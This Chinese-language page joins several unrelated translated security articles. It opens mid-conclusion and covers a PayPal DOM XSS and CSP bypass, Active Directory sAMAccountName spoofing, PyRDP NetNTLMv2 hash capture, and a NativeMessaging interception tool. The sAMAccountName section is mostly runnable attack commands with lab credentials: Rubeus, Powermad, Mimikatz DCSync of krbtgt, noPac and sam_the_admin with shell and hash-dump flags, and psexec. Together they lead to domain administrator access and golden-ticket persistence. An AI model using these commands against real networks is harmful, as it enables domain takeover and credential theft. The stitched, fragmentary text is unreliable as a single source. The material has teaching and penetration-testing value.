小結我認為,到目前為止,您應該已經具備了自己研究這一主題所需的一切。請隨時給我留言。如果您還有什麼問題,儘管問。我總是很高興看到人們分享有趣的發現。

閱讀愉快!

ee02-article-dom_invader_pp_page_article_image.png

當DOM XSS 隱藏在數千行代碼中時,查找DOM XSS 可能會很棘手。我們最近開發了DOM Invader 來幫助解決這個問題,使用組合的動態+手動方法來發現漏洞,並迅速發現了一個影響PayPal 的有趣的Polyglot DOM XSS。在這篇文章中,我們將展示如何使用意外腳本gadget繞過基於允許列表的CSP。大多數現代網站都使用多個JavaScript庫,並且有很多行複雜的壓縮代碼,這使得對DOM XSS的測試變得非常令人頭痛,PortSwigger安全研究部門專門開發了DOM Invader,使對DOM XSS的測試更加容易。 DOM Invader將為你提供一個方便的樹狀視圖,以此來顯示目標的源和匯(不理解別著急,這是BurpSuite的一個定義),這極大地簡化了發現DOM XSS的過程。

首先,我們使用Burp 的嵌入式瀏覽器來導航站點並註入canary以查看每個頁面上使用了哪些源和接收器。當我們遇到一些有趣的接收器時,我們會使用canary一起發送諸如'' 之類的字符探測器,並檢查接收器以查看它們是否被允許。我們沒花多少時間就找到了一個頁面,它以一種不安全的方式反映了我們的探測器。通常這很困難,因為反射是不可見的,但使用DOM Invader就很容易了。

1.png

正如你在上面的截圖中看到的,我們的canary被反映在一個id 屬性中。如果我們發送一個雙引號,則可以看到值如何到達接收器。但是當發送雙引號時,屏幕變為空白。但是,如果我們轉義雙引號,則站點不會中斷,我們可以看到它到達接收器:

2.png

在HTML 中,反斜杠對雙引號沒有影響——所以我們似乎有一個XSS 漏洞。我們需要通過注入其他字符來確認這一點,這將導致JavaScript 執行。在對這個漏洞進行多次探測後,我們注意到注入的值必須是一個有效的CSS 選擇器。所以我們想出了以下向量:

3.png

由於CSP的原因,這一功能最初並沒有發揮作用,但當我們在Burp中禁用這一功能時,我們收到了警報。然後,我們在HackerOne上向PayPal報告了這一情況,以及禁用CSP的說明。讓我們驚訝的是,我們得到了HackerOne 人員的回應:經過審查,您所描述的行為似乎沒有任何安全風險或安全影響。

顯然我們不同意這個評估,於是開始尋找繞過PayPal 政策的方法。

繞過PayPal上的CSP首先,我們研究了CSP,並註意到一些薄弱的部分。在script-src指令中,他們允許某些域,例如*.paypalobjects.com 和*.paypal.com。它們還包括“unsafe-eval”指令,該指令將允許使用eval、Function 構造函數和其他JavaScript 執行接收器:

4.png

查看策略,允許列表和“unsafe-eval”可能是繞過CSP的最佳目標。因此,我們在Burp Suite範圍中添加了這些域。你可以在作用域中使用正則表達式,這非常方便。我們的範圍是這樣的:

5.png

Burp允許你在範圍中選擇特定的協議,由於策略具有“block-all-mixed-content”指令,我們只選擇了HTTPS 協議。

在學習了CSP之後,我們打開了Burp中的嵌入式瀏覽器,開始手動瀏覽網站,這是為了挑選那些擁有大量JavaScript資源的目標。當我們收集了大量的代理歷史記錄後,就可以使用Burp 出色的搜索功能來查找較舊的JavaScript 庫。 Burp允許你只搜索範圍項,所以我們選中了那個框,這允許我們找到繞過CSP的資產。

我們從搜索AngularJS開始,因為用它很容易創建CSP繞過。有對Angular 的引用,但沒有對AngularJS 的引用但我們嘗試的JavaScript文件似乎並沒有加載Angular,也沒有引發異常。所以我們轉向Bootstrap,在請求頭和響應體中進行搜索。出現了幾個Bootstrap 實例,我們發現了一個舊版本(3.4.1)。

接下來,我們研究了Bootstrap gadget。 GitHub 上存在一些XSS 問題,但這些影響了3.4.0 版本。我們查看了Bootstrap代碼一段時間,尋找jQuery的使用情況,但沒有找到合適的gadget。

我們沒有在數據庫中找gadget,而是想到了PayPal gadget。如果PayPal 有一些我們可以利用的不安全JavaScript ,那豈不是更好。這一次,我們沒有搜索特定的庫,而是搜索託管庫的路徑的一部分(例如“/c979c6f780cc5b37d2dc068f15894/js/lib/”)。在搜索結果中,我們注意到一個名為youtube.js 的文件,並立即在其中發現了一個明顯的DOM XSS 漏洞:

6.png

這個文件使用的是jQuery,所以我們所需要做的就是包含jQuery和youtube.js,利用這個漏洞,然後我們繞過了CSP。看看YouTube .js文件,我們看到它使用了一個CSS選擇器來找到YouTube播放器元素:

7.png

因此,我們需要注入一個帶有“youtube-player”類的元素和一個包含jQuery XSS向量的data-id屬性。一旦我們有了通用PayPal CSP繞過的基礎,要做的就是把它與原始注入結合起來。首先,我們注入了一個帶有srcdoc 屬性的iframe。這是因為我們想注入一個外部腳本,但因為這是一個基於DOM 的漏洞,腳本將無法執行。但是有了srcdoc,會發生以下情況:

8.png

請注意,我們需要通過轉義雙引號並為選擇器的值部分分配單引號來確保它是一個有效的選擇器。然後再注入指向jQuery 和YouTube gadget的腳本:

9.png

請注意,我們必須對向量進行HTML 編碼,因為我們不希望它以字符關閉srcdoc屬性。出於同樣的原因,我們避免使用空格。然後我們使用YouTube gadget注入腳本,jQuery 會轉換並執行該腳本。我們再次需要對向量進行HTML 編碼,給它正確的類名,並使用data-id 屬性來注入我們的向量。注意,我們使用了一個編碼的單引號來避免屬性中斷。我們必須對雙引號進行HTML編碼,因為srcdoc將解碼HTML,而data-id屬性將在iframe中呈現時進行解碼,因此雙編碼可確保引號在註入YouTube gadget時存在。最後,我們使用單行註釋進行清理,以確保腳本在註入後忽略任何內容,即用雙引號和單引號完成CSS 選擇器。

10.png

可以在此處找到最終的概念證明。

概念證明這是PoC 的截圖:

11.png

可以看到對所有PayPal 的完整CSP 繞過,但它是必要的嗎?正如我們所見,jQuery是CSP的剋星。它使用“unsafe-eval”指令轉換腳本,並且很樂意使用策略執行它們。看看原始的XSS漏洞,它似乎是一個jQuery選擇器。因此,我們可以注入一個腳本,它將被jQuery轉換。所以不需要單獨的CSP 繞過。因此,我們可以將注入簡化為以下內容:

12.png

完整的概念證明請點此。

總結允許列表策略絕對是不安全的,尤其是當你有大量可能被濫用的腳本/庫時。即使用戶輸入通常不需要,也要修復XSS,這有助於防止意外的腳本gadget。

你永遠不應該僅僅依靠CSP 來保護XSS。 雖然這是你防禦的一部分,但它不是唯一可用的障礙。

與標準用戶帳戶相比,機器帳戶會在名稱末尾附加$符號。在默認情況下,Microsoft操作系統缺乏安全控制和加固措施,難以防禦某些攻擊。此外,多年來的事實證明,Windows生態系統中許多事情的工作方式可能會通過利用現有的功能和工作流來加以濫用。

舉例來說,active directory中的每個帳戶都會在“SamAccountName”屬性中提供名稱。但是,它卻沒有提供防止被濫用的措施,因此任何擁有機器帳戶的用戶都可以修改該值。這個值被修改後,可以用來冒充域上的其他帳戶,如域控制器的機器帳戶。 Charlie Clark是第一個詳細介紹如何將這些漏洞武器化的人。

在申請服務票證之前,需要先簽發票證授予票證(TGT)。當為密鑰分發中心(KDC)中不存在的帳戶請求服務票證時,密鑰分發中心將跟踪搜索,並在該帳戶上附加$符號。結合這種行為和對“SamAccountName”屬性缺乏控制的事實,滲透測試人員可以利用這一點進行域升級。具體地說,可以請求域控制器帳戶的票證授予票證,並且在任何服務票證請求之前恢復“SamAccountName”屬性值將強制KDC搜索域控制器的機器帳戶,並代表域管理員發出提權的服務票證。

要想利用該漏洞進行域升級,用戶必須具有機器帳戶的權限,只有這樣才能修改“SamAccountName”和“ServicePrincipalName”屬性。一般來說,可以創建機器帳戶的用戶,都擁有修改這些屬性所需的特權。在默認情況下,域用戶的機器帳戶配額設置為10,這表示允許用戶在域上創建機器帳戶數量。或者,攻擊者也可以從作為機器帳戶所有者的帳戶的角度發動進攻。利用“SamAccountName”執行域升級包括以下步驟:

創建一個機器賬戶

清除“servicePrincipalName”屬性

修改機器賬戶的“sAMAccountName”屬性,以指向沒有$符號的域控制器名稱

為域控制器賬戶申請一個TGT

將“sAMAccountName”屬性恢復為原始值或任何其他值

使用S4U2self方法請求一個服務票據

冒充域管理員賬戶接收服務票據

下圖演示了“sAMAccountName”冒充技術的具體步驟。

1.png

sAMAccountName欺騙

檢測漏洞微軟已經發布了補丁,以防止攻擊者成功利用該漏洞。然而,在很多情況下,補丁並沒有及時應用,這就創造了一個時間窗口,使得這種技術可以在滲透測試中加以利用。該技術的先決條件如下所示:

1、沒有安裝KB5008380和KB5008602安全補丁的域控制器

2、有效的域用戶帳戶

3、機器帳戶配額大於0

由於這個過程需要訪問內部網絡,因此,假定攻擊者已經獲得了低權限的帳戶。如上所述,機器帳戶配額默認為10,因此唯一的要求是識別系統是否應用了補丁。這並非難事,可以通過請求沒有域用戶帳戶的PAC的票證授予票證並觀察base64票證大小(與使用PAC發出的票證相比要更小)來實現。 Rubeus可以與/nopac開關一起使用,以請求已知憑據的域帳戶的TGT。

Rubeus.exe asktgt /user:pentestlab /password:Password1234 /domain:purple.lab /dc:dc.purple.lab /nopac /nowrap

1.png

通過Rubeus檢測sAMAccountName欺騙漏洞

從票據大小來看,可以認為域控制器是易受攻擊的,因為票證沒有隨PAC一起發出。

1.png

沒有PAC時Rubeus票據的大小

另外,C#工具noPac可用於檢索網絡上所有可用域控制器的TGT票證。該工具是基於Rubeus的,因為它使用庫“Rubeus.lib.Interop.LUID”來獲取票證。票證的大小可以確定KDC是否發出了沒有PAC的票證。

noPAC.exe scan -domain purple.lab -user pentestlab -pass Password1234

1.png

noPac掃描器

如果通過PowerShell控制台進行操作的話,可以藉助於Shitsecure開發的一個PowerShell腳本“Invoke-noPac”——它可以將.NET程序集noPac嵌入base64中。由於該工具實際上就是noPac,所以可以使用同樣的參數來檢索票證。

Import-Module .\Invoke-noPAC.ps1

Invoke-noPAC -command 'scan -domain purple.lab -user pentestlab -pass Password1234'

1.png

掃描PowerShell

手動方式實際上,現在已經有各種各樣的工具和腳本,可以幫助我們從加入域和沒有加入域的系統中自動完成上述任務。但是,在深入研究自動化之前,了解如何使用現有工具組手動完成漏洞利用是非常重要的。通過活動目錄創建機器帳戶對於滲透測試人員來說並不陌生,因為在基於資源的受限委託期間也可以使用它。 Kevin Robertson開發了一個名為Powermad的PowerShell模塊,該模塊提供了在域上創建機器帳戶的功能。

New-MachineAccount -MachineAccount 'PentestLab' -Domain 'purple.lab' -DomainController 'dc.purple.lab'

1.png

創建機器賬戶

使用PowerSploit的“Set-DomainObject”從已創建的機器帳戶中刪除服務主體名稱值非常方便:

Set-DomainObject 'CN=PentestLab,CN=Computers,DC=purple,DC=lab' -Clear 'serviceprincipalname'

1.png

清除SPN

通過Powermad和“SetMachineAccountAttribute”函數,也可以修改'SamAccountName'屬性值以使其指向域控制器主機名:

Set-MachineAccountAttribute -MachineAccount 'PentestLab' -Value 'dc' -Attribute 'samaccountname'

1.png

重命名sAMAccountName

查看活動目錄中的屬性,可以看到新機器帳戶的值現在指向“dc”,因此這個帳戶能夠冒充域控制器。

1.png

sAMAccountName欺騙

我們可以通過查詢域控制器來驗證屬性“sAMAccountName”是否已被修改。此外,PowerSploit中的“GetDomainComputer”函數可以用來枚舉域上機器帳戶的屬性。

Get-DomainComputer 'CN=Pentestlab,CN=Computers,DC=purple,DC=lab' -Domain purple.lab -Server dc.purple.lab | select samaccountname

1.png

檢索sAMAccountName

當涉及到Kerberos的操作時,Rubeus是一個標準工具。由於sam賬戶的名稱已經修改,所以,它現在可以從標準用戶的上下文中為dc賬戶申請票證授予票證。

.\Rubeus.exe asktgt /user:'dc' /password:'Password123' /domain:'purple.lab' /dc:'dc.purple.lab' /nowrap

1.png

檢索TGT

下面,我們需要把sam帳戶名屬性恢復到其原始值或任何其他值,否則無法發出服務票證。

Set-MachineAccountAttribute -MachineAccount 'PentestLab' -Value 'PentestLab$' -Attribute samaccountname

1.png

恢復sAMAccountName

由於TGT已經存儲在內存中,所以,現在可以使用kerberos擴展's4u2self'以域管理員的身份來請求服務票證。由於原始票證屬於dc用戶,而sam帳戶名已重命名,即該用戶已經不存在,所以,Kerberos將查找dc$,這是一個有效的機器帳戶,並為請求的服務發出票證。

./Rubeus.exe s4u /self /impersonateuser:'Administrator' /altservice:'cifs/dc.purple.lab' /dc:'dc.purple.lab' /ptt /ticket:[Base64 TGT]

1.png

請求服務票證

我們可以在現有會話中執行Mimikatz,以便通過DCSync技術轉儲“krbtgt”帳戶的哈希值,從而創建黃金票證。

lsadump:dcsync /domain:purple.lab /kdc:dc.purple.lab /user:krbtgt

1.png

DCSync

自動化方式基於sAMAccountName欺騙的滲透測試,也可以使用由Cube0x0開發的C#工具noPac直接從內存中自動完成。為此,我們可以執行下面的命令,創建一個具有指定密碼的機器帳戶,並將獲得“CIFS”服務的服務票證,該服務票證將被傳遞到內存中。

noPac.exe -domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlaboratories /mPassword Password123 /service cifs /ptt

1.png

noPac

以下命令可用於驗證域升級的情況,因為標準用戶可以枚舉域控制器上C$文件夾的內容。

dir \\dc.purple.lab\c$

1.png

驗證域升級

類似地,如果初始implant是基於PowerShell的,則可以在Invoke-noPac腳本中使用相同的命令行參數。正如上面所說的那樣,它實際上是noPac C#工具的包裝器。

Invoke-noPac -command '-domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlab /mPassword Password123 /service cifs /ptt'

1.png

noPac PowerShell

訪問域控制器的C$文件夾可以驗證緩存到內存中的服務票證是否已經升級。

dir \\dc.purple.lab\c$

1.png

驗證服務票證是否已經升級

擴展到非域機器該技術的相同原理,也可以應用到未連接到域的系統上。 Hossam Hamed發布了一個名為“sam the admin”的python腳本,它模擬了這種攻擊。最初,該腳本將嘗試列舉“ms-DS-MachineAccountQuota”屬性,以確定是否可以在域中添加新的機器。然後,將用隨機密碼創建一個機器賬戶。新機器賬戶的“sAMAccountName”屬性將被修改為包含域控制器機器賬戶的值。然後,請求一個升級的票證並保存到緩存中。最後,“sAMAccountName”屬性的原始值將被恢復,並使用Impacket套件中的“smbexec”建立到域控制器的會話,並使用緩存的票證。

python3 sam_the_admin.py 'purple/pentestlab:Password1234' -dc-ip 10.0.0.1 -shell

1.png

sam the admin shell

該腳本包含一個標誌,可用於在後台利用“secretsdump”來轉儲域哈希值。

python3 sam_the_admin.py 'purple/pentestlab:Password1234' -dc-ip 10.0.0.1 -dump

1.png

sam the admin dump

這些哈希值可用於脫機破解,以便識別正在使用的弱密碼,並確定客戶端的密碼策略是否足夠強、是否符合行業標准或是否需要進一步評估。此外,由於“krbtgt”帳戶的哈希值是可見的,可以為域持久化創建一個黃金票證。

1.png

轉儲域哈希值

Oliver Lyak發布了一個類似的python腳本,它既可以用於掃描域控制器以識別易受攻擊的主機,又可用於檢索授予服務票證的票證。

python3 pachine.py -dc-host dc.purple.lab -scan 'purple.lab/pentestlab:Password1234'

1.png

Pachine掃描器

對易受攻擊的域控制器執行以下命令,就可以創建一個具有隨機密碼的機器帳戶,以獲取票證授予票證。然後,重命名機器帳戶名稱,並使用S4U2self檢索服務票證,並將其保存在本地,以供屬於“域管理員”組的管理員用戶使用。

python3 pachine.py -dc-host dc.purple.lab -spn cifs/dc.purple.lab -impersonate administrator 'purple.lab/pentestlab:Password1234'

1.png

利用Pachine獲取票證

可以使用“export krb5ccname”和存儲票證的路徑將票證導入Kerberos緩存。由於票證現在是從當前控制台導入的,因此,Impacket“psexec”可以與Kerberos身份驗證一起使用,以便訪問域控制器。

export KRB5CCNAME=administrator@purple.lab.ccache

impacket-psexec -k -no-pass 'purple.lab/administrator@dc.purple.lab'

1.png

PsExec

通過一個基於python腳本“sam the admin”的工具來實現該技術也是可行的,這個腳本名為noPac。這個掃描器腳本將枚舉“ms-DS-MachineAccountQuota”屬性,並嘗試從所有可用的域控制器獲得票證授予票證。票證大小也將顯示在控制台中,以便快速識別易受攻擊的目標。在下面的示例中,與主機10.0.0.1相比,在沒有PAC的情況下接收的兩個票證相對較小,所以,主機10.0.0.1發出的是一個帶有PAC的票證。

python3 scanner.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1

1.png

noPac掃描器

這個腳本可以根據活動的需要用各種參數執行。只需指定一個域用戶的憑證和域控制器的IP地址就可以發動攻擊,直到檢索到一個升級的票證為止。

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1

1.png

sAMAccountName Spoofing – 通過noPac 檢索服務票證

1.png

sAMAccountName Spoofing – noPac

只要附加“-shell”和“-impersonate”標誌,便可以在域控制器上建立會話。

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc -shell --impersonate administrator

1.png

冒充Administrator

類似地,“-dump”標誌可用於從域用戶的ntds.dit秘密中檢索哈希值。由於已經通過Kerberos票證實現了域管理員訪問權限,因此,可以獲取“krbtgt”帳戶的哈希值,以便建立域的持久性訪問。

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc --impersonate administrator -dump -just-dc-user purple/krbtgt

1.png

轉儲krbtgt的哈希值

演示視頻可以從這裡查看。

參考資料https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html

https://exploit.ph/more-samaccountname-impersonation.html

https://github.com/WazeHell/sam-the-admin

https://github.com/cube0x0/noPac

遠程桌面協議(RDP) 在網絡安全領域發揮的作用越老越大。勒索軟件組織將其作為攻擊公共和私營部門的抓手,在2019 年由遠程桌面協議引起的攻擊已經造成了75 億美元的損失。在2020 年,RDP 攻擊增長了768%。網絡安全與基礎設施安全局(Cybersecurity Infrastructure Security Agency)等機構在其2020年的《勒索软件指南》 (Ransomware Guide)中將RDP列為需要保護的焦點。而在另一方面,滲透測試團隊正在定期使用RDP作為在網絡內部進行橫向移動、劫持會話和捕獲哈希值等的有效工具。

GoSecure Titan Labs 團隊看到了進一步探索哈希捕獲主題的機會,這是任何進攻團隊的必備工具。本文將研究RDP 安全模式、它們如何工作以及如何使用PyRDP(GoSecure 創建的庫)通過RDP 協議將其付諸行動以捕獲NetNTLMv2 哈希。這一努力始於每年長達一個月的Hacktoberfest期間的一個項目,該項目導致了PyRDP的幾項改進。在這些改進中,我們讓用戶更容易捕獲NetNTLMv2哈希。

首先,我們將介紹一種用於攻擊性用例的技術,通過在NTLMSSP身份驗證期間捕獲NetNTLMv2哈希值來獲得對遠程RDP設備的訪問。為了將其付諸實踐,我們將利用PyRDP 在RDP 支持的兩個主要身份驗證場景中執行這些哈希的捕獲:啟用網絡級別身份驗證(NLA) 和不啟用NLA。為了更多地了解這兩種場景,讓我們從詳細介紹RDP 協議中可用的安全模式開始。

RDP 安全模式RDP 是一種通常用於通過TCP/IP 使用終端客戶端和服務器來遠程管理計算機的協議。目前,它提供了不同類型的安全模式來加密客戶端和服務器之間的通信:

RDP 標準安全性:根據客戶端的支持和服務器選擇的加密級別(低、客戶端兼容、高、FIPS)對所有流量進行對稱加密。這種方法在中間人攻擊攻擊的情況下是最不安全的,因為服務器控制加密方法並可以決定是否不需要加密,從而完全禁用它。

1.png

RDP 增強安全性:通過外部協議提供加密和安全機制。其中兩種機制是:自RDP 5.2以來的TLS(傳輸層安全)和CredSSP,自RDP 6以來,除了使用TLS外,它還支持NLA(網絡級別認證)。帶有TLS的RDP還警告用戶,如果服務器的證書是自簽名的或不受信任的,可能會發生中間人攻擊,但它不會阻止客戶端接受風險。

當RDP 使用NLA 的增強安全性時,用於委派合適的身份驗證方法的協議是憑據安全支持提供程序(CredSSP)。這些授權的身份驗證方法是Kerberos 或NTLMSSP,後者是用於捕獲NetNTLMv2 哈希的身份驗證方法,這些哈希用於客戶端和服務器之間的質詢/身份驗證消息。

通過網絡級身份驗證剖析身份驗證為了理解NetNTLMv2 哈希捕獲,本節將詳細描述通過NLA 進行的身份驗證及其結構。為了簡化這個過程,我們將把它分成四個階段:

2.png

1.RDP 客戶端和服務器之間建立了TLS 連接;

2.CredSSP 的SPNEGO 為客戶端和服務器執行,以決定將使用哪種相互身份驗證協議:Kerberos 或NTLMSSP;

3.在這一步中,將發送服務器的公鑰進行驗證,並探測其真實性。這樣做是為了避免中間人攻擊;

4.一旦通過TLS 和SPNEGO 保護連接,客戶端就會發送其憑據以進行身份驗證。

我們的注意力將集中在最後一步,因為在使用NTLMSSP 協議的情況下,客戶端將以NTLM 消息的形式發送憑據的哈希版本並將被攔截。這些消息是ASN.1 編碼的TSRequest 結構,身份驗證數據按以下順序發送:

3.png

首先,客戶端發送一個NEGOTIATION消息來啟動NTLM認證,服務器端發送一個CHALLENGE消息來回應這個質詢。在這個階段,質詢是包含隨機數(用於防止重放攻擊的隨機字節序列)的64 位值。然後,客戶端使用個身份驗證消息來響應這個請求,該消息包含完成身份驗證過程所需的憑據。這是我們希望從客戶短中提取質詢響應(以 NTLMv2_RESPONSE 結構的形式)並進行中繼或破解的階段。

NTLMv2_RESPONSE結構很容易理解和解析,因為它只包含16字節的響應和可變大小的客戶端質詢。客戶端的質詢可以概括為使用從安全帳戶管理器(SAM) 或Active Directory (AD) 獲得的NT 哈希構建的LMv2 和NTv2 哈希,並使用HMAC-MD5對用戶和域名進行哈希。所有這些都形成了NetNTLMv2哈希,這是密碼破解工具如 John the Ripper 或 hashcat所需要的。

使用PyRDP 捕獲NetNTLMv2 哈希PyRDPi 是我們開發的一個庫,用於執行中間人攻擊並試驗RDP 協議。在中間人攻擊模式下,PyRDP有能力攔截NetNTLMv2哈希,即使它沒有實服務器的證書和私鑰,並且NLA是由服務器強制執行的。在本節中,我們將探索和描述兩種可以執行哈希捕獲的場景。

在第一種場景中,我們擁有受攻擊服務器的證書和私鑰。在本例中,RDP客戶端和服務器之間的交互將在CredSSP支持下進行,PyRDP將以兩種方式傳輸NTLMSSP消息。 NetNTLMv2捕獲是在RDP服務器發送CHALLENGE消息之後完成的,PyRDP從消息中提取服務器的CHALLENGE值,客戶端響應PyRDP記錄的哈希值,然後發送給RDP服務器繼續身份驗證過程。

4.png

我們最近實現了第二個場景:NLA 由服務器強制執行,但我們沒有服務器的證書和私鑰。在這個場景中,PyRDP將切斷與原始服務器的連接,並繼續進行客戶端連接和NTLMSSP身份驗證,以便執行前面所示的相同的NetNTLMv2提取。 PyRDP在接收到客戶端的NEGOTIATION消息後將生成CHALLENGE消息並發送它。通過這種方式,PyRDP可以控制質詢值,稍後將接收AUTHENTICATION消息。

5.png

為了說明這種攻擊,當PyRDP 在未啟用NLA 的情況下運行(默認值,請參見——auth標誌啟用NLA攻擊),並且客戶端試圖連接到執行NLA攻擊的服務器,然後從AUTHENTICATION消息的哈希提取之後,日誌如下所示:

6.png

請注意,在最後一個場景中,一旦提取了哈希,PyRDP 和客戶端之間的連接就會關閉,因為中間人攻擊進程無法完成服務器的連接,因為它受到NLA 的保護。

總結在本文中,我們展示了在RDP連接期間如何捕獲NetNTLMv2,以及PyRDP可以用作一種實用的攻擊工具。

引子上個月,一位企業客戶報告說,他們使用的第三方瀏覽器擴展無法正常工作。對該擴展的調查表明,該瀏覽器擴展依賴於一個在瀏覽器沙箱之外運行的NativeMessaging Host(NMH)組件。在審查客戶提供的進程監控日誌時,我們發現,Native Host可執行程序在啟動數十分鐘後就意外退出。並且,在這次意外退出後,下一次瀏覽器內擴展試圖調用它時,瀏覽器到本地的調用就會失敗,從而導致瀏覽器擴展無法提供其預期功能。

不幸的是,我既沒有NMH可執行文件的源代碼(甚至沒有二進製文件),在進程監控器日誌中也沒有找到明顯的線索(例如,註冊表讀取或寫入失敗),所以,我們很難搞清楚問題到底出在哪裡。我對支持工程師說,要是能看到瀏覽器擴展和NMH之間交換的JSON信息,也許就能幫我們找到問題的根源所在。

'我們需要像Fiddler這樣的工具來監視NMH信息,而不是HTTPS信息。 '

這有什麼難的?從技術上講,我並不熟悉與瀏覽器擴展有關的東西,所以,在排除了我能想到的幾個可能的根源問題後,我就忙其他的事情去了。

但這一構想一直縈繞在我的腦海裡:像Fiddler一樣的工具,但用於檢查本地信息傳遞。

建立這個系統有多難?會有多大用處?

自從2015年底“拋棄”Fiddler和Telerik後,我就沒寫過多少C#代碼;偶爾寫一點,大多也是Fiddler的插件,而不是獨立的應用程序。不過,Native Messaging遠沒有HTTPS那麼複雜,所以應該不會太難,對吧?

我們希望在調試器中實現以下功能:

顯示從瀏覽器擴展到Native Host的信息

允許將這些信息記錄到一個文件中

允許在任何方向上註入任意的消息

(擴展目標)允許修改這些消息

在接下來的幾個晚上,我打開塵封多年的Visual Studio IDE,努力回憶C#異步編程的工作方式。

關於NativeMessaging MeddlerNativeMessaging Meddler的源代碼和編譯版本都可以從GitHub下載。

NativeMessaging Meddler(NMM)是一個基於.NET 4.8的Windows應用程序。它的底部提供了一行選項卡,以便於我們在不同的選項卡之間進行切換;在默認情況下,直接運行.exe程序的話,它僅顯示幫助文本:

1.png

NMM工具可以響應來自瀏覽器擴展本身的NativeMessages,也可以代理現有擴展和現有NMH可執行文件之間的消息。

安裝Demo擴展要測試該工具的基本功能,您可以安裝Demo Extension:

在Chrome或Edge中訪問about://extensions

啟用開發者模式

按下Load Unpacked按鈕

選擇sample-ext文件夾

一個新的'N '圖標將出現在工具欄上

安裝完演示擴展後,還必須註冊演示的Native Host應用。為此,請更新其清單,以反映您放置它的位置。

使用記事本或類似編輯器打開manifest.json文件

將path字段設置為.exe的完整路徑。確保反斜杠都是成對使用的。

將allowed_origins字段設為來自about:extensions頁面中的擴展的ID值。

1.png

接下來,更新註冊表,以便瀏覽器能夠找到您的主機:

在記事本中編輯installregkeys.reg文件,更新文件路徑以指向manifest.json文件的位置。確保反斜杠都是成對使用的。

雙擊InstallRegKeys.reg文件將其導入註冊表。

運行演示擴展安裝好了主機和擴展後,現在就可以測試該工具了。從工具欄中的擴展點擊“N”圖標,導航到它的演示頁面。這時,NMM的實例應自動打開。

在Outgoing Messages框中鍵入“Hello World!”,單擊Post Message to port按鈕。這時,該消息應該出現在NMM應用程序內的Monitor選項卡上:

1.png

如果你勾選右上方的“Reflect to extension”選項,然後再次發送消息,應該會看到NMM工具收到消息,並將其發回該擴展的頁面,並展示在“Incoming Messages”部分。

1.png

“Reflect to extension”將收到的信息複製給發送方

如果我們想通過NMM注入我們選擇的新信息,該怎麼辦?

進入NMM的Injector選項卡,在底部輸入框中輸入一個簡單的JSON信息。然後,點擊“Send to Browser/Extension”按鈕。這時,我們會看到該信息出現在瀏覽器內的“Incoming Messages”部分。

1.png

注意:你的信息必須是格式正確的JSON,否則它將永遠無法到達。

好了,我們現在已經能夠成功地使用NMM工具來接收和發送來自Demo擴展的消息了。

代理消息雖然我們的演示擴展很適合測試Native Messaging功能,而且如果我們正在開發一個使用Native Messaging功能的新擴展,它可能會對模擬有所幫助,但本文的重點是監視現有擴展與主機之間的通信。

好了,那就開幹吧。

首先,轉到Configure Hosts選項卡,該選項卡在註冊表中搜索您的PC上當前註冊的所有本機主機(Native Host):

1.png

我們的計劃是最終讓攔截本機主機成為一種點擊式體驗,但目前,我們只是使用該選項卡來查找我們要攔截的本機主機的文件系統位置。如果某個條目多次出現,請選擇優先級最低的實例。

例如,假設我們對Chrome瀏覽器中一些Windows-to-Web身份驗證場景中使用的BrowserCore主機感興趣。我們可以看到清單文件的位置,以及從清單文件中提取的EXE的名稱:

1.png

在某些情況下,您可能會發現Exe字段顯示“?”,如上面的vidyo條目那樣。這是因為,如果清單文件無法解析為合法的JSON,就會出現這種情況。 Chromium在寬鬆模式下使用定制的JSON解析器來解析清單,它允許JavaScript風格的註釋。但是NMM工具使用嚴格的JSON解析器,無法解析這些註釋。不過,這對我們的目的來說並不重要。

注意清單文件的位置,並在您選擇的編輯器中打開它。注意:如果該文件在特權位置,您可能需要以更高的權限來打開您的編輯器(以管理員身份)。

提示:您可以通過Alt+DblClick選擇一個項目,或者在選擇該項目時點擊Alt+Enter,以打開Windows資源管理器,找到清單的位置。

在清單中,通過在文件名末尾的.exe前引入.proxy一詞來改變路徑字段。

1.png

然後,請保存該文件。

注意:在某些情況下,即使是管理員也無法在默認情況下寫入該文件。在這種情況下,你需要使用管理員的權限來取得文件的所有權,以授予自己修改文件的權限。

1.png

當然,也還有其他不需要改變文件系統權限的方法,但我們在這裡就不做介紹了。

接下來,將nmf-view.exe文件複製到包含Native Host的文件夾中,並將其重命名為前面寫入清單的文件名。

1.png

現在,我們已經成功安裝了NMM代理。每當瀏覽器擴展下次試圖啟動Native Host時,它就會激活我們的NMM調試器,而NMM調試器又會生成原始的Native Host(在本例中是BrowserCore.exe),並代理兩者之間的所有信息。

現在,請訪問一個您可以登錄的網站,如https://office.microsoft.com。然後,點擊右上方的登錄按鈕,監視我們的調試器生成的Native Host,收集來自Windows 10 Accounts擴展的請求,將其傳遞給BrowserCore.exe,讀取Host的回复,並將其傳回擴展。我們的調試器允許我們從兩個方向讀取JSON消息的全文。

1.png

注意:這個截圖是經過編輯的,因為它包含秘密令牌。

幹的漂亮,是吧?

篡改消息當我完成所有這些工作時,我很興奮。同時,我也很失望……JSON的純文本渲染並不具有很好的可讀性,而且建立一個編輯消息的用戶界面工作量也很大。我感嘆……我在15年前就已經為Fiddler寫好了我想要的所有代碼。它同時具有JSON渲染和消息編輯功能……但是,現在我已經不再使用Fiddler,所以不能直接複製其源代碼了。

然後,我突然想明白了。我不需要在NMM中重新實現Fiddler的部分功能。我可以讓這些工具協同工作:NMM可以把它從瀏覽器擴展和Native Host收到的信息傳遞給Fiddler,如果Fiddler修改了信息,NMM就可以用修改後的信息來替代。

太棒了!

配置篡改過程首先,重新編輯manifest.json文件,在路徑中添加一個.fiddler組件,並將.proxy.exe文件重命名為.proxy.fiddler.exe,具體如下所示:

1.png

這段新的文字預示著你希望NMM開始使用Tamper using Fiddler選項設置。為了調試像BrowserCore.exe這樣的“single-shot”本地主機,我們不能直接使用NMM的監控選項卡右上方的複選框,因為調試器和本地主機生成和完成事務的速度比我們這些弱小的人類點擊鼠標的速度快得多。注意:您也可以指定字符串.log.以啟用將流量日誌寫到桌面上的選項。

現在,啟動Fiddler;可以使用-noattach命令行參數,這樣它就不會註冊為系統代理。在Web Sessions列表下的QuickExec框中輸入bpu ToApp並按回車鍵。

1.png

